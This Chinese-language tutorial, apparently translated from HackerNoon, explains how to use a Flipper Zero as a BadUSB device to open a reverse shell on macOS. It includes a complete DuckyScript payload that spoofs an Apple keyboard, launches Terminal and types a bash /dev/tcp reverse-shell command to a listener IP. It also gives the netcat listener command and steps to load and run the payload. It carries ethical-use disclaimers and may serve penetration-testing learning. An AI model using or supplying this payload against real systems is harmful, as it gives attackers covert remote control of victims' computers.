paint-brush
如何使用 Flipper Zero 作为 BadUSB 在 macOS 上获取反向 Shellby@fatman
32,901
32,901

如何使用 Flipper Zero 作为 BadUSB 在 macOS 上获取反向 Shell

Scott Eggimann5m2022/12/05
Read on Terminal Reader

在 Ubuntu 服务器上使用 Flipper Zero、一个简短的 DuckyScript 文本文件和一个远程监听器,我能够在我的 Mac 计算机上获得一个 shell。
featured image - 如何使用 Flipper Zero 作为 BadUSB 在 macOS 上获取反向 Shell
Scott Eggimann HackerNoon profile picture

在我的 Ubuntu 服务器上使用 Flipper Zero、一个简短的 12 行 DuckyScript 文本文件和一个远程侦听器,我能够在我完全修补的最新 Ventura macOS 计算机上获得一个 shell。


在我的实验室环境中,我使用 Flipper Zero 作为渗透测试设备来测试我的服务器和桌面系统中的漏洞。


Flipper Zero 是我们首选的道德黑客工具,因为它提供了无数可用的有效负载,具有屏幕菜单选择工具,并使用进度显示来提供反馈。


本文是一个示例,说明如何将 Flipper Zero 用作道德渗透测试 BadUSB 设备以及如何避免成为此类漏洞利用的受害者。不要在您不拥有或无权使用的计算机上使用它。此代码不会试图隐藏入侵检测系统 (IDS)、入侵防御系统 (IPS)、网络检测系统、防火墙或防病毒 (AV) 软件。

BadUSB 负载

Flipper Zero BadUSB 以及其他几个 BadUSB 设备使用用 DuckyScript 编写的有效负载。一种简单的脚本语言,用于执行导致键盘注入攻击的击键。


Duckyscript Payloads 的一个很好的起始参考点是 Hak5 官方网站:

https://shop.hak5.org/blogs/payloads/tagged/usb-rubber-ducky .在这里您可以找到使用 DuckScript 的示例和文档。

让我们写一些 DuckyScript

您可以使用现成的脚本,也可以学习编写自己的脚本。我们将通过简单的分步演练向您展示如何在 macOS 计算机上利用反向 shell。


使用您最喜欢的文本编辑器并输入以下文本。 macOS 默认安装了 TextEdit 应用程序,因此我们将使用它。


ID 05ac:021e Apple:Keyboard

DELAY 1000

GUI SPACE

DELAY 200

STRING terminal

DELAY 200

ENTER

DELAY 1000

STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1

DELAY 1000

ENTER

DELAY 1000


对于本演练,我们不需要对 DuckyScript 了解太多,因此我们将复习一下我们的脚本使用的几个命令。我们实际上只使用了五个不同的命令。

命令

描述

ID 05ac:021e Apple:键盘

这一行告诉 macOS 我们的 Flipper Zero 实际上是一个 Apple 键盘。如果您不使用此行,macOS 会显示键盘设置助手对话框,这将导致您的脚本失败。

延迟

此命令指示操作系统等待一段时间。如果我们不使用这些延迟,脚本将运行得太快而失败。

界面空间

按 Apple Command 键和空格键打开“Spotlight 搜索”窗口。

STRING 终端

在 Spotlight 搜索窗口中输入字符串“Terminal”

进入

按键盘上的 ENTER 或 Return 键。按下 ENTER 键后,macOS 启动终端窗口 (/Applications/Utilities/Terminal)

字符串 bash -i >& /dev/tcp/10.10.10.157/4444 0>&1

此命令将文本输入终端窗口,该窗口建立到 Netcat 服务器的连接,该服务器侦听端口 4444 上的 10.10.10.157


将 IP 地址10.10.10.157和端口4444更改为您服务器的 IP 地址和端口。


将此文件作为rev_shell_macos.txt保存到您的磁盘。 Flipper Zero 上的badusb目录下没有子目录组织,因此如果您为不同的操作系统使用多个有效载荷,请使用对您有意义的命名约定,以便您知道它的作用。

安装 qflipper 应用程序

如果您还没有安装 qflipper 应用程序,请转到官方 Flipper 零更新页面并选择适用于您的操作系统的安装程序。该页面是固件更新页面,但底部是安装 qflipper 应用程序的链接。


https://flipperzero.one/更新

按照适用于您的操作系统的说明安装 qflipper 应用程序。


将 Duckyscript 放到脚蹼零上

打开 qflipper 应用程序并选择以红色突出显示的文件夹图标。


选择并双击SD 卡图标以查看内容。



找到我们之前创建的rev_shell_macos.txt文件并将其拖到badusb文件夹中。



文件复制完成后,从计算机中取出 Flipper Zero。

等待反向 Shell

Flipper Zero BadUSB 已准备就绪,可以使用了。但首先,我们需要在我们的服务器上设置我们的远程监听器。在我们的 Ubuntu 服务器上,使用以下命令启动 Netcat 侦听器:


$ nc -nlvp 4444


下表列出了命令的细分。同样,除了等待传入连接外,您真的不需要知道使用此命令发生了什么。

命令

选项

数控

网猫命令

-nlvp

( n ) 无 DNS 解析,( l ) 侦听传入连接,( v ) 详细输出,( p ) 端口

4444

要监听的端口号



现在我们的 Netcat 侦听器已准备就绪并等待传入连接,我们可以继续进行 Flipper Zero BadUSB 攻击。

启动 BadUSB 反向 Shell

困难的部分已经完成。 Flipper Zero BadUSB reverse_shell_macos.txt文件已写入,移动到 Flipper Zero,Netcat 侦听器正在等待连接。


找到 Bad USB 菜单并选择 Run 按钮。暂时不要将 Flipper Zero 连接到计算机。 Flipper Zero 会在需要连接设备时通知您。


导航到我们在上一步中复制的 DuckyScript 文件。如果您没有看到该文件,那么您将它复制到了错误的目录。选择rev_shell_macos并单击运行按钮。


当您看到连接到 USB警报时,您可以将 Flipper Zero 连接到 iMac 或 MacBook 的 USB 端口。单击运行按钮。


您可以在主窗口中查看 BadUSB 脚本的进度。一旦状态达到 100%,负载就完成了,您可以移除 Flipper Zero。


如果您正在观看 iMac 的计算机显示器,您可以在执行 DuckyScript 时看到该漏洞。我们 Ubuntu 服务器上的 Netcat 侦听器显示成功请求的结果。

控制您的计算机

您现在可以通过反向 shell 控制 macOS 计算机。在 BSD Linux 版本上运行,您可以使用 Unix 命令行工具和 BASH shell,就好像您坐在 iMac 的物理键盘上一样。


您可以使用whoamipwdlscd等常规 Linux 命令来导航文件系统和操作操作系统。


下一步

现在您已经了解 Flipper Zero 如何作为 BadUSB 设备运行,您可以创建自己的脚本。使用 Hak5 站点或通过 Google 搜索可用的众多 DuckyScript GitHub 存储库之一作为您自己的 Duckyscript 文件的起点。


合法合乎道德地经营。在您拥有或有权使用的设备上使用此工具。